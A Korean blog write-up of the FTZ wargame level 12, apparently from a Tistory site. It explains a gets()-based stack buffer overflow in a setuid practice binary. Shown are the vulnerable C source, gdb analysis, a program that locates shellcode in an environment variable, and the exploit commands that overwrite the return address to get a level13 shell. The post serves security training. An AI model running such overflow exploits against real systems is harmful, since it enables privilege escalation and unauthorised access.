ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • LEVEL 12
    WARGAME/FTZ 2018. 4. 26. 15:26
    level12

    FTZ LEVEL12


    [Summary]

    1. 소스코드의 11 행에서 gets 함수를 사용하므로 길이체크를 하지않아 Buffer Overflow 취약점이 발생한다.
    2. str 배열의 길이가 (256 + 8) 이며 sfp 사이즈(4바이트)를 더한 268바이트를 payload 로 전송하게되면 RET 값을 변조할 수 있다.
    3. aslr 보호기법으로 인해 str 배열에 shellcode 를 삽입할 수 없어서 환경변수에 삽입하고 RET 주소에 쉘코드가 포함된 환경변수의 주소로 변조함으로써 결론적으로 프로그램의 흐름을 제어하고 level13(3093) 권한의 쉘을 획득하였다.

    [Sourcecode]

    1.  #include <stdio.h>
    2.  #include <stdlib.h>
    3.  #include <unistd.h>
    4.  
    5.  int main( void )
    6.  {
    7.          char str[256];
    8.  
    9.          setreuid( 3093, 3093 );
    10.         printf( "문장을 입력하세요.\n" );
    11.         gets( str );
    12.         printf( "%s\n", str );
    13. }
    14.
    15. // attackme.c
    

    [Analysis]

    • FTZ LEVEL11 와 동일하게 소스코드를 통해 프로그램의 흐름을 대략적으로 파악(정적분석)한 뒤 프로그램을 실행(동적분석) 시켜보며 분석 할 것이다.
    • setuid 가 설정되어 있으면 gdb 가 동작하지 않기 떄문에 tmp 디렉토리에 cp 명령을 이용하여 복사한다.

    • attackme 소스코드를 보면 FTZ LEVEL11 과 거의 동일하며 strcpy 함수 대신 gets 함수를 사용한다는 차이점이 있다.
    • 또한, FTZ LEVEL11 에서는 FSB(Format String Bug) 취약점이 있었지만 FTZ LEVEL12 에서는 Format String이 명시되어 있다.
    • gets 함수도 strcpy 함수와 동일하게 길이 값을 체크하지 않아 Buffer Overflow 취약점이 발생한다.
    • gdb 에 attackme 프로그램을 올린 뒤, disassemble main(disas main 가능) 명령을 통해 main 함수(Entry Point, EP) 를 disassemble 하고, ret(main+88) 에 BreakPoint(BP) 를 건다.

    • FTZ LEVEL11 에서는 argv[1] 을 사용하여 인자를 받았지만, LEVEL12 에서는 gets 함수를 사용하기 때문에 입출력 리다이렉션 연산자("<" or ">") 를 이용하여 인자를 넘겨야 한다.
    • 필자는 파이썬을 이용해 출력을 payload 파일에 저장했다.
    • 왜냐하면, gdb 에서도 입출력 연산자의 사용이 가능하기 때문에 paylaod 를 다시 작성하는 반복작업을 최소화하기 위해 사용했다.

    • payload 는 FTZ LEVEL11 와 동일하게 str 변수가 256 바이트니까 268바이트를 덮으면 ret 주소가 나올것이라 가정하고 A * 268 과 B * 4 를 출력했다.

    • 예상한것과 같이 ret 주소 위치에 BBBB 로 덮혀있다. 이제 페이로드만 작성하면 되지만 FTZ LEVEL11 와 동일하게 aslr 이 걸려있으므로 환경변수에 쉘코드를 올리고 ret 주소를 쉘코드가 위치한 환경변수 주소로 덮어쓰면 된다.
    • 또한, bash 에서 주소값 \xff 를 쓰면 \xff (null) 로 바뀌는 버그가 있어서 bash2 프로세스에서 작업을 진행했다.


    1.  #include <stdio.h>
    2.  
    3.  int main(int argc, char *argv[]) {
    4.          printf("Addr : %p\n", getenv(argv[1]));
    5.          return 0;
    6.  }
    7.
    8.  // findegg.c
    

    • 위 프로그램은 필자가 등록한 쉘코드의 환경변수 위치를 찾아주는 프로그램이다.
    • gdb 를 이용해 확인해보면 \x90(NOP) + ShellCode 가 위치한것을 알 수 있다.

    [Exploit]

    python -c 'print "A"*268 + "\x1f\xfc\xff\xbf"' > payload
    (cat payload;cat) | ./attackme
    
    • ;cat 을 붙이는 이유는 gets 함수의 인자를 stdin으로 입력한 것들을 pipe 를 통해 넘겨줄때 EOF 가 붙기 때문이다.
    • 즉, exploit 을 정상적으로 작성해서 shell 을 실행시키더라도 EOF 를 만나 종료되어 버린다.
    • 따라서 cat 이나 echo 등을 이용할때 뒤에 ;cat 을 붙이면 cat 의 작동이 끝나기 전까지 EOF 가 나오지 않는다.


    [References]


    'WARGAME > FTZ' 카테고리의 다른 글

    LEVEL 16  (0) 2018.05.06
    LEVEL 15  (0) 2018.05.05
    LEVEL 14  (0) 2018.04.29
    LEVEL 13  (0) 2018.04.27
    LEVEL 11  (0) 2018.04.24
Designed by Tistory.